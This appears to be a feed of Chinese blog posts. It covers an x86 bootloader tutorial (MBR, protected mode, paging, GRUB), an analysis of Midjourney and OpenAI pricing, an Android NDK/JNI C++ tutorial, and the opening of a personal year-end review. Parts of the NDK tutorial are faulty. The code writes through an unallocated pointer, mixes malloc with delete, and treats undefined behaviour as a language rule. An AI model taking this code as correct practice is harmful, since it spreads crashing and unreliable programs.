dd if=/dev/sda of=mbr.bin bs=512 count=1

把他拷贝到你的文件夹下,然后反汇编,就可以阅读这一部分的代码了,奥对了,记得把sda替换成你刚刚指令上找到有MBR程序的硬盘(wsl的同学就不用试了,没有MBR,可以看看这个文章SamuelHuang:基于Grub 2.00的x86内核引导流程--源代码情景分析(2))。

loader因为不像MBR一样受硬盘大小限制,所以终于可以承担起加载操作系统的重任,那么把加载一个操作系统要做到什么呢?

x86 处理器在上电后默认处于实模式(Real Mode),这是一种兼容早期处理器(如 8086)设计的模式。在实模式下,CPU 只有 20 位地址线,可以寻址最多 1MB 的内存,且没有现代处理器所提供的内存保护、虚拟内存和分页机制等特性,会搞的程序员非常头大,所以就要使用一个可以支持更多内存配置以及32位处理器的模式,保护模式因此应运而生。

我们简易版本的loader就要做到能加在保护模式,大概分为三步:

  • 启用 A20 地址线:  A20 地址线是控制是否可以访问 1MB 以上内存的开关。在实模式下,A20 地址线通常被禁用,因此访问超过 1MB 的内存会导致访问错误。进入保护模式之前,必须启用 A20 地址线。
  • 加载全局描述符表(GDT):  保护模式下,内存管理依赖于全局描述符表(GDT),这需要在进入保护模式之前正确设置。
  • 设置控制寄存器(CR0):  进入保护模式还需要设置 CPU 的控制寄存器(如 CR0)的标志位,启用保护模式。
 ;-----------------  打开A20  ----------------
   in al,0x92
   or al,0000_0010B
   out 0x92,al

   ;-----------------  加载GDT  ----------------
   lgdt [gdt_ptr]

   ;-----------------  cr0第0位置1  ----------------
   mov eax, cr0
   or eax, 0x00000001
   mov cr0, eax

   jmp dword SELECTOR_CODE:p_mode_start     ; 刷新流水线,避免分支预测的影响,这种cpu优化策略,最怕jmp跳转,
     ; 这将导致之前做的预测失效,从而起到了刷新的作用。

之后呢,就要开始加载保护模式对应的虚拟内存了

;-------------   创建页目录及页表   ---------------
setup_page:
;先把页目录占用的空间逐字节清0
   mov ecx, 4096
   mov esi, 0
.clear_page_dir:
   mov byte [PAGE_DIR_TABLE_POS + esi], 0
   inc esi
   loop .clear_page_dir

;开始创建页目录项(PDE)
.create_pde:     ; 创建Page Directory Entry
   mov eax, PAGE_DIR_TABLE_POS
   add eax, 0x1000      ; 此时eax为第一个页表的位置及属性
   mov ebx, eax     ; 此处为ebx赋值,是为.create_pte做准备,ebx为基址。

;   下面将页目录项0和0xc00都存为第一个页表的地址,
;   一个页表可表示4MB内存,这样0xc03fffff以下的地址和0x003fffff以下的地址都指向相同的页表,
;   这是为将地址映射为内核地址做准备
   or eax, PG_US_U | PG_RW_W | PG_P     ; 页目录项的属性RW和P位为1,US为1,表示用户属性,所有特权级别都可以访问.
   mov [PAGE_DIR_TABLE_POS + 0x0], eax       ; 第1个目录项,在页目录表中的第1个目录项写入第一个页表的位置(0x101000)及属性(7)
   mov [PAGE_DIR_TABLE_POS + 0xc00], eax     ; 一个页表项占用4字节,0xc00表示第768个页表占用的目录项,0xc00以上的目录项用于内核空间,
     ; 也就是页表的0xc0000000~0xffffffff共计1G属于内核,0x0~0xbfffffff共计3G属于用户进程.
   sub eax, 0x1000
   mov [PAGE_DIR_TABLE_POS + 4092], eax     ; 使最后一个目录项指向页目录表自己的地址

;下面创建页表项(PTE)
   mov ecx, 256     ; 1M低端内存 / 每页大小4k = 256
   mov esi, 0
   mov edx, PG_US_U | PG_RW_W | PG_P     ; 属性为7,US=1,RW=1,P=1
.create_pte:     ; 创建Page Table Entry
   mov [ebx+esi*4],edx     ; 此时的ebx已经在上面通过eax赋值为0x101000,也就是第一个页表的地址 
   add edx,4096      ; edx
   inc esi
   loop .create_pte

;创建内核其它页表的PDE
   mov eax, PAGE_DIR_TABLE_POS
   add eax, 0x2000      ; 此时eax为第二个页表的位置
   or eax, PG_US_U | PG_RW_W | PG_P  ; 页目录项的属性US,RW和P位都为1
   mov ebx, PAGE_DIR_TABLE_POS
   mov ecx, 254     ; 范围为第769~1022的所有目录项数量
   mov esi, 769
.create_kernel_pde:
   mov [ebx+esi*4], eax
   inc esi
   add eax, 0x1000
   loop .create_kernel_pde
   ret

之后,我们打开虚拟机就可以看到他们的映射关系

接下来就是读取内核数据
使用 rd_disk_m_32 函数通过 I/O 端口从硬盘读取内核镜像数据,
将内核镜像中的各个段复制到内存中,调用 mem_cpy 函数实现内存拷贝,
完成内核初始化后,跳转到内核入口点,开始执行操作系统内核,这就是《操作系统真相还原》中一个小的loader,这部分比较简单也不是很重要,我觉得就没必要看代码了,毕竟汇编是真的头痛啊。

而linux 下的loader我们一般用GRUB,他是这么启动的

  1. 加载 GRUB 阶段 :  从mbr加载完之后,就是完整的 GRUB 引导程序,通常位于磁盘上的某个分区(如 /boot/grub)。在这个阶段,GRUB 会展示操作系统选择菜单,并读取配置文件。
  2. 显示启动菜单:  GRUB 会展示一个菜单,用户可以选择要启动的操作系统(如 Linux 内核)。此时,GRUB 会加载内核映像文件(如 vmlinuz),并将控制权交给操作系统内核。
  3. 传递内核参数:  GRUB 可以向操作系统内核传递启动参数,这些参数影响内核的行为(如指定根文件系统、禁用某些硬件等)。

如果你用的不是wsl,打开/boot/grub就可以看到他们,grub-mkconfig -o /boot/grub/grub.cfg会列出grub可以加载的操作系统(这玩意还能加载Windows)。

一种可能的引导加载程序方法是通过直接访问硬盘扇区来加载内核镜像,而无需理解底层的文件系统。通常,这需要一个额外的间接层,以映射或映射文件的形式——这些辅助文件包含了内核镜像所占据的物理扇区列表。

每次内核镜像在磁盘上更改物理位置时,如安装新内核镜像、文件系统碎片整理等,都需要更新这些映射文件。而且,如果映射文件的物理位置发生变化,它们的位置也需要在引导加载程序的 MBR 代码中进行更新,以使扇区间接机制继续有效。这不仅繁琐,而且在系统更新过程中出现问题时,仍然需要手动修复。

另一种方法是让引导加载程序了解底层的文件系统,这样内核镜像可以通过实际的文件路径进行配置和访问。这要求引导加载程序包含每个支持的文件系统的驱动程序,以便引导加载程序能够理解并访问这些文件系统。这种方法消除了硬编码硬盘扇区位置和映射文件的存在,也不需要在添加或移动内核镜像时更新 MBR 配置。引导加载程序的配置存储在一个常规文件中,该文件也是通过文件系统感知的方式进行访问,以便在实际引导任何内核镜像之前获取引导配置信息。因此,在系统更新过程中出现问题的可能性较小。缺点是,这种引导加载程序更大且更复杂。

我们的loader就是第一种,而GRUB是第二种。

下一篇文章估计会写一下系统中断和特权级的内容,同样是结合《操作系统真相还原》和linux来讲。

by Nadershah at January 18, 2025 12:39 PM

MidJourney和OpenAI的定价逻辑给我们的启示

你是否曾在面对一项订阅服务时犹豫不决?比如,Midjourney 的月付 10 美元 基础套餐和 30 美元 标准套餐,哪个更适合你?又或者,在使用 OpenAI 的 API 时,看到按量计费的详细规则后,内心盘算付出的每一分钱是否值得?

在 AI 技术不断融入日常的今天,Midjourney 和 OpenAI 凭借其卓越的产品价值和用户体验设计,让无数用户心甘情愿地为其服务付费。

这背后不仅仅是技术的领先,更是对用户需求的深刻理解和商业逻辑的精妙运用。通过精准的产品定位和多样化的定价策略,这两家 AI 巨头不仅赢得了用户的信任,还成功地将「技术价值」转化为「商业价值」。

那么,它们的定价逻辑究竟有什么独到之处?又能给我们带来哪些关于用户心理和市场策略的启示?今天,我们就从 Midjourney 和 OpenAI 的定价模式入手,剖析其背后的商业智慧。

1. Midjourney的定价逻辑:订阅制的价值感知

1.1 Midjourney的产品力:让生成艺术触手可及

Midjourney 是一款基于 AI 的生成艺术「不仅仅是图片」工具,它凭借强大的图像生成能力和极高的创意自由度,吸引了大量艺术家、设计师以及普通创作者。用户只需输入简单的文字描述(Prompt),即可生成风格多样、质量极高的图像。

其产品力主要体现在以下几个方面:

  1. 技术优势

    • Midjourney 基于 GAN 和深度学习模型,能够快速生成高质量且细节丰富的图像。
    • 支持多种风格设定,用户可以自由探索艺术创作的可能性,从写实风格到抽象艺术都能轻松实现。
  2. 用户体验

    • 低门槛:无需专业的设计技能,普通用户也能通过简单的文字输入生成专业水准的作品。
    • 高互动性:用户可以在官方 Discord 社区中分享作品、获得反馈,同时也能通过调整 Prompt 进一步优化生成结果。
  3. 商业化潜力

    • 广泛的应用场景:从个人创作到商业设计,Midjourney 在广告、出版、游戏设计等领域都有巨大的潜力。
    • 版权友好:订阅用户可获得广泛的商业使用权,使其成为创作者和企业的理想工具。

Midjourney 的强大产品力吸引了用户的注意,但其成功不仅仅依赖于技术能力,更重要的是通过精心设计的定价模式,将产品价值转化为用户愿意支付的具体价格。

1.2 Midjourney 的定价逻辑:从订阅计划看价值感知

Midjourney 采用订阅制的定价模式,针对不同用户的需求和预算,提供四个层级的订阅计划:基础计划标准计划专业计划Mega计划

1.2.1 订阅计划的详细差异

计划月付价格年付价格快速GPU时间Relax模式隐私模式并发任务数适用人群
基础计划$1096 美元($8/月)3.3小时/月不支持不支持3任务初学者、轻度用户
标准计划$30288 美元($24/月)15小时/月无限使用不支持3任务高频使用的个人创作者
专业计划$60576 美元($48/月)30小时/月无限使用支持12任务专业创作者、小型团队
Mega计划$1201152 美元($96/月)60小时/月无限使用支持12任务企业级用户、大型团队

1.2.2 订阅计划的核心要素:

  1. GPU 时间

    • 快速 GPU 时间直接决定了用户生成高质量图像的速度和数量。不同层级的计划通过 GPU 时间的上限限制了用户的使用频率。
    • Relax模式(从标准计划开始提供)允许用户在非高峰期无限制生成图像,进一步降低了普通用户的心理负担。
  2. 功能增值

    • 隐私模式(仅在专业计划及以上提供)允许用户在私密环境中创作,适合对隐私有较高需求的创作者或企业用户。
    • 并发任务数的提升(专业计划及以上)增强了用户的生产效率,尤其适合团队协作或需要同时生成多个图像的场景。
  3. 价格折扣

    • 年付用户可享受约20%的折扣,进一步绑定长期用户。

1.3 定价特点与用户心理学

在产品定价中,用户心理学的核心在于通过理解用户的行为模式、决策倾向和情感反应,设计出能够激发用户支付意愿的价格体系。

定价不仅是经济学中的供需平衡问题,也是心理学的应用领域,通过合理的价格策略,可以引导用户感知价值、降低付费阻力,并最终促成消费行为。

Midjourney 的定价如下:

1.3.1 定价特点

  1. 阶梯化设计

    • Midjourney 通过分层套餐满足了不同用户的需求,从轻度用户到专业用户再到企业团队,覆盖了广泛的市场。
    • 每一级的价格与功能差距明显(10 美元 → 30 美元 → 60 美元 → 120 美元 的递增),让用户能够清楚地感知到功能的提升和付费的价值。
  2. 灵活性与透明性

    • 用户可以随时升级、降级或取消订阅,且价格和功能的对应关系非常清晰,避免了复杂的隐藏费用。
  3. 扩展性

    • 用户在 GPU 时间使用完后还能以 4 美元/小时 的价格额外购买 GPU 时间,满足突发需求。

1.3.2 用户心理学的运用

  1. 锚定效应

    • 基础计划的 10 美元 价格为用户设立了一个「入门门槛」,使其看上去更容易接受;而更高层级的计划(如 30 美元 的标准计划)通过功能增值,让用户觉得「升级更划算」。
  2. 损失规避

    • Relax 模式的引入降低了用户对「时间不足」的焦虑,同时通过「无限使用」的承诺,让用户感到自己不会浪费付费权益。
  3. 附加价值

    • 专业计划及以上提供的隐私模式和并发任务功能,针对高级用户的核心需求设计,让用户觉得「更高级的计划不仅是花更多的钱,而是获得了更多保障和效率」。
  4. 长期绑定

    • 年付折扣通过价格优势刺激用户选择长期订阅,培养用户习惯,同时提升平台的用户留存率。

1.4 Midjourney 作为 AI SaaS 的定价逻辑

作为一款 AI SaaS 产品,Midjourney 的定价逻辑充分体现了 SaaS 模式的核心优势:订阅制、增值服务、用户留存

1.4.1 订阅制的核心逻辑

  1. 降低用户进入门槛

    • 基础计划的低价( $10/月 )让更多用户能够轻松尝试其服务,从而扩大了潜在用户群体。
    • 通过分层定价,将用户按需求进行精准细分,避免「一刀切」定价带来的市场流失。
  2. 提升用户终身价值(LTV)

    • 订阅制的模式让 Midjourney 能够通过长期绑定用户获得稳定现金流,同时提供年付折扣进一步提升用户的 LTV。

1.4.2 增值服务驱动收入增长

  • Midjourney的定价不仅基于基础服务,还通过增值功能(如隐私模式、额外GPU时间)实现了差异化收入来源,既满足了高端用户的需求,也提高了整体ARPU(每用户平均收入)。

1.4.3 用户留存与生态建设

  1. 生态系统的黏性

    • Midjourney 通过 Discord 社区建设、Relax 模式的无限制体验以及用户评分赚取 GPU 时间等机制,为用户提供了超越工具本身的附加价值。
    • 这些功能不仅增加了用户在平台内的互动时间,还提升了用户对平台的忠诚度。
  2. 成本控制与体验优化

    • 通过 Relax 模式引导用户在非高峰期使用资源,Midjourney 优化了 GPU 负载,降低了运营成本,同时为用户提供了「无限使用」的心理舒适感。

Midjourney 的定价逻辑不仅仅是功能和价格的排列组合,更是对用户需求、心理和使用习惯的精准把控。通过订阅制的设计,它实现了产品价值与用户支付意愿的完美结合。作为一款 AI SaaS 产品,它以低门槛吸引用户,以增值服务挖掘潜在收入,并通过社区和服务黏性提升用户留存率。这种逻辑对其他 SaaS 产品也具有重要的借鉴意义:定价不仅是商业策略,更是用户关系的长期经营。

2. OpenAI的定价逻辑:多层次订阅

2.1 OpenAI 的产品力:多功能 AI 生态系统

OpenAI 通过一系列强大的 AI 工具和技术,提供了多维度的生产力解决方案,其产品力体现在以下几个方面:

2.1.1 强大的功能覆盖范围

  1. 语言模型

    • GPT-4o 系列支持从基础文本生成到复杂问题解答,满足从个人到企业用户的多种需求。
    • 支持定制化 GPTs(用户可以创建、调整并使用个性化模型)。
  2. 多模态能力

    • 语音生成与识别:包括标准语音模式和高级语音模式,支持自然流畅的语音交互。
    • 图像生成:基于 DALL·E 的图像生成服务,适用于创意设计、广告制作等场景。
    • 数据分析与文件处理:支持高级数据分析和文件上传,适合企业用户的专业需求。
  3. Web浏览与上下文扩展

    • 支持实时网络浏览和大上下文窗口处理,适合需要长文档解析或动态信息的用户。

2.1.2 用户体验的深度优化

  • 分级服务:通过分层次的服务套餐(Free、Plus、Pro、Team、Enterprise),OpenAI 能够满足从普通用户到大型企业用户的多样化需求。
  • 协作工具:企业和团队用户可使用共享工作区、管理控制台和数据保护功能,增强协作效率。

2.2 OpenAI 的多层次定价模式

2.2.1 订阅计划的详细差异

OpenAI 的定价策略通过功能分层和用户分群,提供了五种主要订阅计划:FreePlusProTeamEnterprise。以下是各订阅计划的详细内容及差异:

计划价格功能亮点适用人群
Free$0/月- GPT-4o mini(入门版)
- 标准语音模式
- 限制访问高级功能(如文件上传、数据分析、图像生成)
好奇、轻度使用者
Plus$20/月- 扩展消息和工具使用限制
- 高级语音模式
- 有限访问 o1 和 o1-mini
- 测试新功能
个人创作者、高频用户
Pro$200/月- GPT-4o 和 o1 的无限制访问
- 高级语音无限制

- o1 Pro 模式,处理复杂问题的高级能力
专业用户、企业开发者
Team<semantics>25//月(年付)<br><annotation encoding="application/x-tex">25/人/月(年付)<br></annotation></semantics>25//月(年付)<br>30/人/月(月付)- 比 Plus 更高的消息限制
- 支持创建协作工作区
- 管理控制台和团队数据保护
小型团队、初创公司
Enterprise联系销售- 高速访问 GPT-4 和工具
- 扩展上下文窗口
- 高级管理功能
- 定制化数据存储与保护
大型企业、跨部门协作团队

2.2.2 定价模式的核心特点

  1. 功能分层,满足不同需求

    • Free 计划为入门用户提供基础功能,降低初次尝试的门槛。
    • Plus 和 Pro 计划通过扩展功能和高级能力(如无限制访问、专业模式)覆盖更高需求。
    • Team 和 Enterprise 提供企业级功能(如协作控制台、数据保护和上下文扩展),满足团队协作和大规模应用场景。
  2. 灵活的增值设计

    • 高级功能如 o1 Pro 模式、扩展上下文窗口等,适合复杂场景下的高端用户。
    • 企业级用户可享受定制化支持,包括高级数据保护和持续的账户管理服务。
  3. 年付与月付选择

    • Team 计划提供年付折扣(每用户每月$25),鼓励长期订阅,增强用户黏性。
  4. 合理的无限制使用(Unlimited)

    • Pro 和 Enterprise 用户的「无限制」功能需遵循合理使用政策,既扩展了用户体验,又避免过度滥用资源。

2.3 定价特点与用户心理学

OpenAI 的定价模式充分运用了用户心理学原理,不仅通过价格分层体现了功能价值,还激发了用户的支付意愿。

2.3.1 用户心理学的应用

  1. 锚定效应

    • Free 计划的 0 美元 价格为用户设立了一个「免费基准」,吸引用户尝试基础功能;而 Plus 计划的 $20 价格则显得合理且具有吸引力,成为大多数用户的主要选择。
  2. 分级价值感知

    • 各层级计划通过功能递增(如高级语音模式、无限制访问等),让用户感知「多支付获得更多价值」,从而刺激升级意愿。
  3. 损失规避

    • Free 计划的功能限制(如有限的 GPT-4o 访问)会引发「功能不足」的心理现象,推动用户选择 Plus 或更高计划以避免功能缺失的「损失感」。
  4. 选择自由与控制感

    • 用户可以根据需求灵活选择月付或年付订阅方式,团队用户还可根据规模调整订阅人数,增强了对成本的控制感。

2.4 OpenAI作为 AI SaaS 的定价逻辑

降低进入门槛,扩大用户基础:Free 计划通过零成本试用,吸引了大量普通用户和潜在客户,将“好奇心”转化为实际使用,并为后续的付费升级打下基础。

通过差异化功能提升用户终身价值(LTV):Plus 和 Pro 计划通过扩展功能和更高性能,吸引高频用户和专业用户,增加用户的长期支付价值。

企业级解决方案锁定高端市场:Team 和 Enterprise 计划为企业用户提供协作、管理和数据保护等增值服务,增强了用户黏性,且通过企业间的技术绑定形成稳定的收入来源。

灵活设计适应多样化场景:按需扩展和灵活订阅选项(如按年计费折扣)使得用户能够根据实际需求调整成本,尤其适合企业在规模增长时的动态扩展需求。

OpenAI 的定价逻辑通过分层功能与多样化服务有效覆盖了从普通用户到企业团队的广泛市场。结合深刻的用户心理学运用,OpenAI不仅降低了用户的尝试成本,还通过功能递增和增值服务最大化了用户的支付意愿。

3. API 的按需计费模式

Midjourney 的 API 现在大多数是第三方通过模拟的方式实现的,在国内的版本:悠船,提供 API,价格 0.4 元/张。企业批量采购可能会有折扣。

OpenAI 的 API 相对成熟很多,且从其开始就有 API 的商业化逻辑,现在也演化得比较复杂了,但本质上还是按需计费,大概特点如下:

  1. 按需计费

    • 基于输入和输出 Token(类似于单词片段)的数量收费,每 1M Token 的价格根据模型和使用场景(如实时、批量或缓存)变化。
    • 定价单位精细,支持灵活按需使用。
  2. 多层次模型与功能

    • 提供从小型模型(如 GPT-4o Mini)到高性能模型(如 GPT-4o 和 o1)的多种选择,满足不同预算和需求。
    • 支持文本、音频、图像等多模态任务,以及高级功能如实时处理、批量模式和缓存折扣。
  3. 动态扩展与成本优化

    • 批量 API 提供 50% 折扣,适合大量任务的用户。
    • 缓存折扣降低重复调用的成本,适合频繁使用固定 Prompt 的场景。
  4. 灵活性与复杂性并存

    • 定价模式灵活且适合各种场景(如低延迟实时交互、大规模批量处理),但对用户的成本管理提出更高要求。
    • 对于初次使用者或小型团队,理解和优化 Token 使用可能需要一定学习成本。

API 属于能力开放的部分,作为 SaaS 产品的重要组成部分,它本质上是将核心技术能力模块化并向外部用户或企业开放。这种能力开放的逻辑需要适配多样化的用户需求,而按需计费模式正好符合这种灵活性要求。

通过按需使用,企业用户可以根据实际需求调用特定的功能模块,避免因固定订阅计划绑定过多资源,导致浪费或使用不足。

商业模式的角度来看,按需计费也能让 SaaS 平台更高效地服务不同规模的用户群体。初创企业或中小型团队可以以较低的成本试用和逐步扩展 API 功能,而大型企业则可以根据业务需要大规模调用,且无需受到固定计划的限制。这种按需开放能力的模式不仅降低了用户的进入门槛,还能够随着客户需求增长,推动 SaaS 平台的收入增长,实现双赢。

技术服务生态中,按需 API 还能够更好地实现资源动态分配。SaaS 厂商可以通过实时调配计算资源来支持用户的不同调用需求,从而优化系统负载并提升整体服务效率。这种灵活性与扩展性,也进一步加强了 API 作为 SaaS 产品核心能力开放部分的战略地位,为用户带来了高度的自由度和成本可控性。

4. 小结:toC 的订阅逻辑和 toB 的按需计费逻辑

toC 的订阅逻辑和 toB 的按需计费逻辑分别适配了不同用户群体的核心需求。

对于个人用户而言,订阅模式的优势在于其透明性和简单性,通过固定的月付或年付费用,用户可以清晰了解自己购买的服务内容和权益。这种逻辑降低了用户的决策成本,使得更多人能够轻松试用产品。同时,通过分层的订阅计划,厂商能够满足从轻度用户到重度用户的多样化需求,并通过功能递增和附加服务(如更高性能、更快响应)激发用户的升级意愿。

对于企业用户而言,按需计费模式的灵活性允许企业仅为实际使用的服务付费,无需为固定的套餐绑定资源,从而大幅减少资源浪费。企业可以根据实时调用量、项目规模或业务增长动态调整支出,尤其是在高调用频率或批量处理场景中,按需模式更能展现其成本优势。此外,OpenAI API 的按量定价机制,还通过折扣和缓存等方式进一步优化企业的调用成本,帮助企业在灵活性与经济性之间找到最佳平衡。

用户在心理上的差异也决定了这两种逻辑的适用性。个人用户倾向于固定预算,订阅模式通过简单的价格设计,消除了动态计费的不确定性,降低了他们的心理负担。而企业用户则更注重成本与效率的优化,按需计费模式允许企业针对具体业务场景灵活配置资源,增强了对预算的掌控感。对于个人用户而言,订阅计划的功能递增往往是吸引升级的关键;而对于企业用户,按需模式更强调技术能力的可用性和调用规模的经济性。

商业收益的角度来看,订阅模式的优势在于长期绑定用户,提升用户留存率和终身价值(LTV),为平台提供稳定的现金流。这种模式非常适合服务需持续使用的用户群体。按需计费虽然收入波动性更大,但凭借灵活性,能够吸引到需求不确定、调用规模大的企业用户。两种逻辑的结合让 AI SaaS 产品既能通过订阅锁定基础用户,又能通过按需计费挖掘大客户市场,实现收益的多样化和稳定性。

定价从来都不仅仅是一个数字游戏,而是一门艺术。「定价的核心在于理解用户,找到价值感知与心理预期的平衡点。」

无论是创业者还是企业管理者,定价的背后是对用户需求的深刻洞察。只有真正懂用户,才能赢市场。

以上。

by 潘锦 at January 18, 2025 12:00 PM

juejin android

Android ndk-jni语法—— 6

一.C++中子线程操作JNIEnv环境指针

先声明一个native方法去启动线程:

public native void executePthread();

在C++中进行实现:

extern "C"
JNIEXPORT void JNICALL
Java_com_carey_myndk_MainActivity_executePthread(JNIEnv *env, jobject thiz) {
    // 线程
    pthread_t thread;
    // 创建线程
    // 参数1 指向线程标识符的指针
    // 参数2 用来设置线程属性
    // 参数3 线程运行函数的起始地址
    // 参数4 运行函数的参数
    pthread_create(&thread, NULL, get_min, NULL);
}

我们创建get_min运行函数:

void* get_min(void* arg) {
    for (int i = 0; i < 5; i ++) {
        __android_log_print(ANDROID_LOG_INFO, "carey====get_min", "%d", i);
    }
    JNIEnv *env = NULL;
    // 正确调用 AttachCurrentThread
    int result = jvm->AttachCurrentThread(&env, NULL);
    if (result!= 0) {
        // 处理 AttachCurrentThread 失败的情况
        __android_log_print(ANDROID_LOG_ERROR, "carey====", "Failed to attach current thread.");
        return NULL;
    }
    __android_log_print(ANDROID_LOG_INFO, "carey====", "%s", "my name is carey.");
    // 分离线程,解除关联JVM虚拟机
    jvm->DetachCurrentThread();
    return NULL;
}

里面我们有一个循环打印,完了通过jvm的AttachCurrentThread方法获取环境变量JNIEnv指针,这里的jvm是JavaVM,JavaVM可以通过重写JNI_OnLoad方法得到:

JavaVM* jvm;
// 当我们应用程序加载完毕之后,虚拟机立马调用该方法
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
    // 通过JavaVM获取环境指针
    jvm = vm;
    return JNI_VERSION_1_6;
}

通过上面方法获取到JavaVM指针,并返回当前JNI的版本号。

当Java虚拟机卸载包含本地代码(通常是用C或C++编写的动态库)的库时,会调用JNI_OnUnload方法:

JNIEXPORT void JNI_OnUnload(JavaVM* vm, void* reserved);

最后Java中调用executePthread方法,查看日志打印:

image.png

二. C++中的常量

新建一个java类,并声明一个native方法:

public class NDKCppInterface {
    // C++中常量
    public native void executeCppConst();
}

在Terminal中执行命令,生成相应的头部.h文件:

image.png

如果javah命令找不到,可以在环境变量中添加jdk/bin目录。这时在当前java类同级目录下生成了.h文件:

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_carey_myndk_NDKCppInterface */

#ifndef _Included_com_carey_myndk_NDKCppInterface
#define _Included_com_carey_myndk_NDKCppInterface
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     com_carey_myndk_NDKCppInterface
 * Method:    executeCppConst
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_com_carey_myndk_NDKCppInterface_executeCppConst
  (JNIEnv *, jobject);

#ifdef __cplusplus
}
#endif
#endif

我们把这个.h文件放到cpp/目录下:

image.png

同时,我们在cpp/目录下创建对应的.cpp文件com_carey_myndk_NDKCppInterface.cpp:

#include <jni.h>
#include <string.h>
#include <stdlib.h>
#include "com_carey_myndk_NDKCppInterface.h"
#include <android/log.h>
/*
 * Class:     com_carey_myndk_NDKCppInterface
 * Method:    executeCppConst
 * Signature: ()V
 */
extern "C"
JNIEXPORT void JNICALL Java_com_carey_myndk_NDKCppInterface_executeCppConst
  (JNIEnv *, jobject) {
    const int a = 100; // 常量
    int *p = (int*)&a; // 指针指向a的地址
    *p = 200; // 改为200
    __android_log_print(ANDROID_LOG_INFO, "carey====", "C语言: %d", a);
}

同时更改CMakeLists.txt文件中添加新增加的cpp文件:

image.png

在Java中调用该方法,查看日志:

NDKCppInterface ndkCppInterface = new NDKCppInterface();
ndkCppInterface.executeCppConst();

image.png

这里我们看到输出的a值还是100,就是说明这个常量值是不能修改的。

三.指针的引用

我们新增一个方法:

public class NDKCppInterface {
    // C++中常量
    public native void executeCppConst();
    // 指针的引用
    public native void executeCppPointer();
}

在.h文件和.cpp文件中分别添加该方法是声明和实现:

JNIEXPORT void JNICALL
Java_com_carey_myndk_NDKCppInterface_executeCppPointer(JNIEnv *env, jobject thiz);
// 定义一个结构体
struct User {
    char *name;
    int age;
};

// 更新user
void update_user(User **u) { // 二级指针,`u` 是一个指向 `User*` 类型指针的指针。要修改 `u` 所指向的指针(即 `*u`),需要通过解引用 `u` 来实现。
    User *user = (User*) malloc(sizeof(User));
    user->name = "Carey";
    user->age = 100;
    *u = user;
}

extern "C"
JNIEXPORT void JNICALL
Java_com_carey_myndk_NDKCppInterface_executeCppPointer(JNIEnv *env, jobject thiz) {
    User *user = nullptr;
    update_user(&user);
    __android_log_print(ANDROID_LOG_INFO, "carey====", "名字: %s, 年龄:%d", user->name, user->age);
    
    delete user;
    user = nullptr;
}

我们先用二级指针的方式去更改结构体对象User的数据,查看打印:

image.png

下面通过指针的引用去更改User信息,我们改下update_user方法代码:

    // 指针引用
    void update_user(User* &u) { // `u` 是一个对 `User*` 类型指针的引用。可以直接修改 `u` 所指向的地址。
        // 使用new分配内存并初始化
        u = new User(); // 调用默认构造函数
        strcpy(u->name, "Carey2"); // 使用strcpy复制字符串
        u->age = 28;
    }



    extern "C"
    JNIEXPORT void JNICALL
    Java_com_carey_myndk_NDKCppInterface_executeCppPointer(JNIEnv *env, jobject thiz) {
        User *user = nullptr;
        update_user(user); // 传入指针
        __android_log_print(ANDROID_LOG_INFO, "carey====", "名字: %s, 年龄:%d", user->name, user->age);
        
        delete user; // 释放内存
        user = nullptr;
    }

这样我们查看打印:

image.png

四.常引用

const修饰符用于声明一个变量或对象为常量,即一旦它被初始化后,它的值就不能被修改。const关键字的使用可以增强代码的可读性和安全性,因为它防止了意外的修改。我们先看一个例子,在NDKCppInterface类中创建native方法:

public class NDKCppInterface {
    // C++中常量
    public native void executeCppConst();
    // 指针的引用
    public native void executeCppPointer();
    // 常引用
    public native void executeCppConstRef();
}
void const_init() {
    int a = 100;
    int b = 200;
    const int &c = a;
    // c = 300; // 报错,只读,不能修改
    __android_log_print(ANDROID_LOG_INFO, "carey====", "值:%d", c);
    const int &d = 200;
    __android_log_print(ANDROID_LOG_INFO, "carey====", "字面量:%d", d);
}


extern "C"
JNIEXPORT void JNICALL
Java_com_carey_myndk_NDKCppInterface_executeCppConstRef(JNIEnv *env, jobject thiz) {
    const_init();
}

查看日志打印:

image.png

当const修饰方法参数时,此参数变量不能被修改:

// 常引用作为函数的参数使用
struct Company {
    char *name;
    char *address;
    int age;
};

void const_func_param(const Company &cp) {
    // 不能修改,只读。
//    cp.age = 100;
    __android_log_print(ANDROID_LOG_INFO, "carey====", "公司地址:%s", cp.address);
}

void const_printf() {
    Company company;
    company.address = "辽宁沈阳科技园";
    company.name = "carey有限公司";
    company.age = 10;
    const_func_param(company);
}

extern "C"
JNIEXPORT void JNICALL
Java_com_carey_myndk_NDKCppInterface_executeCppConstRef(JNIEnv *env, jobject thiz) {
    const_printf();
}

查看打印:

image.png

常量指针(Pointer to Const)

常量指针是指一个指针,它指向一个常量数据。这意味着你不能通过这个指针来修改它所指向的数据的值。但是,你可以改变这个指针本身的值,即让它指向另一个地址。看个例子代码:

    const int a = 10;
    const int* p = &a; // p 是一个常量指针,指向 int 类型的常量

// *p = 20; // 错误:不能通过 p 修改它所指向的常量的值
    int b = 20;
    p = &b; // 正确:可以改变 p 指向的地址,但 p 仍然指向一个 const int
// *p = 30; // 错误:即使 p 指向了一个新的地址,该地址仍然是一个 const int

指针常量(Const Pointer)

指针常量是指一个指针本身的值是常量,即你不能改变这个指针指向的地址。但是,你可以通过这个指针来修改它所指向的数据的值(前提是指针不是指向常量的)。看下面代码:

    int a = 10;
    int* const q = &a; // q 是一个指针常量,指向 int 类型的数据

    *q = 20; // 正确:可以通过 q 修改它所指向的数据的值
 // q = &b; // 错误:不能改变 q 指向的地址

五.总结

今天学习了C++中创建线程、获取JavaVM指针,通过JavaVM指针的AttachCurrentThread方法得到JNIEnv指针;还学习了C++中指针引用和常量。喜欢的可以点赞和收藏,感谢!

by 胤胤爸 at January 18, 2025 11:48 AM

juejin career

步入新篇章,2024我的人生里程碑

时间过得真的太快了,每年写年终总结必感叹的。时间在小学按天算,中学按周算,大学按月算,工作按年算。不知道不觉我已经大学毕业4年半了,掘金的年终总结写了4次了,希望自己能够一直写下去。

工作

对于工作来说今年就是不温不火,因为前几年走的比较顺,今年参加了一系列公司的类管理的培养计划,把我抬到了一个很高的视角。实际上我认为没有一些实质的岗位机会历练,再好的理论其实也不能收获多少,而且我清楚的知道我离管理岗还很遥远,预期没有很高,

结婚

